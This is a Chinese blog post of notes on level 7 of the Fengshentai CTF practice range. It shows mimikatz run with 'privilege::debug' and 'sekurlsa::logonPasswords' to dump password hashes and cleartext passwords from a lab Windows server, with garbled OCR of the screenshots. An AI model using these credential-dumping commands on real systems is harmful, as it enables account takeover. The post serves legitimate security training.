mbp 封神台靶场 七(笔记)

原创

 qq_43558415
 ● 于 2020-02-09 22:15:59 发布
 ● 528 < 收藏 1</td>

 分类专栏:
 封神台靶场

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/qq_43558415/article/details/104241345

 版权



封神台靶场 专栏收录该内容

7篇文章4订阅

订阅专栏

打开链接,还是在上一关的基础上进行操作,接上打开C盘发现有线索。两个关于小芳的文件都打不开。



于是首先zip文件和txt文件启用了ACL,需要进行更改,右键找到属性》安全〉高级,把完全控制从拒绝改成允许。txt文本说解 压密码就是Administrator的登录密码。

| 文件 (E) 编辑 (E) 查看 (Y) 收藏 (A) 工具 (E) 帮助 (H) 🧗 | 🗁 C : \Documents | and Settings\Admi | nistrator\桌面 | _ D × |
|---|------------------|-------------------|--------------|-------|
| | 文件 (2) 编辑 (2 |) 查看(Y) 收藏(A) | 工具(I) 帮助(H) | |



| ■ SEVER-小芳. txt - 记事本 | |
|-------------------------------|---|
| 文件(2) 編辑(2) 格式(2) 查看(2) 帮助(2) | |
| 解压密码就是administrator的登陆密码 | A |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |

打开文件,发现还需要密码。

| | C : \D | ocuments and Set | ttings\/ | .dministrator\桌面\ | 想要找到 | 小芳吗 | zip | | | | | - O × |
|---|----------|------------------|-----------|----------------------|------------|----------|---------------|--------|-------------------|---------------|---------------------|----------|
| 3 | t件 Œ |) 编辑(2) 查看(| Y) 收藏 | (A) 工具(E) 帮助(| <u>H</u>) | | | | | | | |
| G | 后退 | - 🕤 - 🏚 🔎 | 搜索 🜔 | 文件夹 🛛 🛄 ▼ | | | | | | | | |
| 地 | 址(11) | 🚺 C:\Documents a | and Setti | ngs/Administrator/桌[| 面\想要找 | 到小芳吗 | . zip | | | | • | 🔁 转到 |
| | | | | 名称 | 类型 | | 打包 | 己 | 大小 | 比 | 日期 | |
| | Χĥ | 洋夹任务 | * | ▶ 想要找到小芳 | 文本文档 | Ě | 1 KB | 是 | 1 KB | -7% | 2019-1-16 19:57 | |
| | | 提取所有文件 | | | | | | | | | | |
| | | | | | | | | | | | | |
| U | 文件 | 和文件夹任务 | * | | | | | | | | | |
| | | 移动这个文件 | | | | | | | | | | |
| | | 复制这个文件 | | | | | | | | | | |
| | (| 将这个文件发布到 ₩ | leb | | | | | | | | | |
| | × | 删除这个文件 | | | | 需要寄 | 3 | | | | × | |
| | | | | | | <u>8</u> | ひ件 / 相理 | 厚找到小芳! | 吗 + <u>+</u> +' ; | 受察码 | | |
| | 其它 | 位置 | * | | | i 🍸 i | 窠护。 请花 | 下面的框 | 中输入密制 | <u>a</u> . '' | URI XE | |
| | 6 | 桌面 | | | | | | | | | 跳过文件(K) | |
| | | 我的文档 | | | | ŧ | 峦码(£): | | | | 取消 | |
| | 9 | 网上邻居 | | | | | | | | | | |
| | | | | | | | | | | | | |
| | 详细 | 信息 | × | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | /2552/45 |
| | | | | | | | | | | | nanagirooannineuqq_ | |

这需要使用mimikatz工具,在参考中是选择通过上传方式来使用该软件,我考虑到这工具可能服务器上就存在,于是在服务器中 搜索,结果真的找到了。

| 🧾 捜索结果 | | | | - 🗆 × |
|---|------------------|------------|-------------|-------|
| 文件(E) 编辑(E) 查看(V) 收 | 藏(k) 工具(E) 帮助(H) | | | 1 |
| 🔇 后退 🔹 🕥 🖌 🏂 🔎 捜索 🏮 | ゔ 文件夹 🛛 🎛 ▾ | | | |
| 地址 @) 📄 搜索结果 | | | | > 转到 |
| 搜索助理 × | 名称 | 所在文件夹 | 大小 类型 | 他 |
| | 🥝 mimikatz. exe | D:\05\Menu | 172 KB 应用程序 | 2 |
| 按下面任意或所有条件进 行搜索- 全部或部分文件名(<u>O</u>): [mimikatz] 文件中的一个字或词组(<u>W</u>): [查找范围(<u>L</u>): | | | | |



找到该工具后点开输入 privilege::debug 提升权限

sekurlsa::logonPasswords 获取密码

| Øninikatz 2.0 alpha z | x86 _ 🗆 🗙 |
|---|--|
| | |
| mimikatz # privileg(Privilege '20' OK | e::debug |
| mimikatz # sekualsa | • Jogon Passuonds |
| MIMIKACZ # SCAUPISA | |
| Authentication ld : Session : | 0 ; 17375142 (0000000:01091fa6) RemoteInteractive from 3 |
| User Name : | ping |
| Domain : SID : | GONGKA I K-D45FB6 S-1-5-21-2775063910-2920827999-2173817585-1008 |
| msv: | 5 1 5 21 211305710 2720021777 2115011505 1000 |
| [00000002] | Primary |
| * Osername * Domain | = ping = GONGKAIK-D45FB6 |
| * LM | : ccf9155e3e7db453aad3b435b51404ee |
| | : 3dbde697d71690a769204beb12283678 : 0d5399509427co79556cdo71918020c1o8d15553 |
| wdigest : | • 003377500427Ce77550C0a71710020C1e0015055 |
| * Üsername | ping |
| * Domain * Passuord | E GONGKAIK-D45FB6 |
| kerberos : | - 125 |
| * Username | : ping |
| * Domain * Passuord | = GONGKHIK-D45FB6 = 123 |
| ssp : | • 125 |
| credman : | |
| Authentication Id : | 0 ; 3012994 <00000000:002df982> |
| Session : | RemoteInteractive from 1 Administration |
| Domain : | GONGKAIK-D45FB6 |
| SID : | S-1-5-21-2775063910-2920827999-2173817585-500 |
| NSV : F000000021 | Puimanu |
| × Username | : Administrator |
| * Domain | : GONGKAIK-D45FB6 |
| + LM → NTLM | : 4d582fa9df7504345e8e7baade1462e6 : 43322078afa889e76ead4e24593fe0f6 |
| * SHA1 | : 0da6cbfad62801060ae66a9d6c1d75599f354f44 |
| wdigest : | |
| * Username * Domain | : Hdministrator : CONGKAIK-D45FR6 |
| * Password | : wow!yougotit! |
| kerberos : | |
| * Username * Domain | : GONGKAIK-D45FR6 |
| * Password | : wow!yougotit! |
| ssp : | |
| creaman : | |
| Authentication Id : | 0 ; 256472 <00000000:0003e9d8> |
| Session : | NetworkCleartext from 0 |
| Domain | GONGKAIK-D45FB6 |
| SID | S-1-5-21-2775063910-2920827999-2173817585-1003 |
| msv : Гаааааааа | Professional https://blog.csdn.net/qg_435584 |
| 1 20000002 1 | TT Indry |

● 想要找到小芳吗。txt - 记事本 文件 ② 编辑 ② 榕式 ◎ 查看 ② 帮助 ④ 小芳在我的手上! 如果想要她活命的话, 你必须为我们卫作! 哈哈哈你没有理由拒绝我的,对吧? 快来找我吧,完成都场第八关,获得未知的资格吧! 第 ℃へ

总结:好好学习。

_ 🗆 🗵

*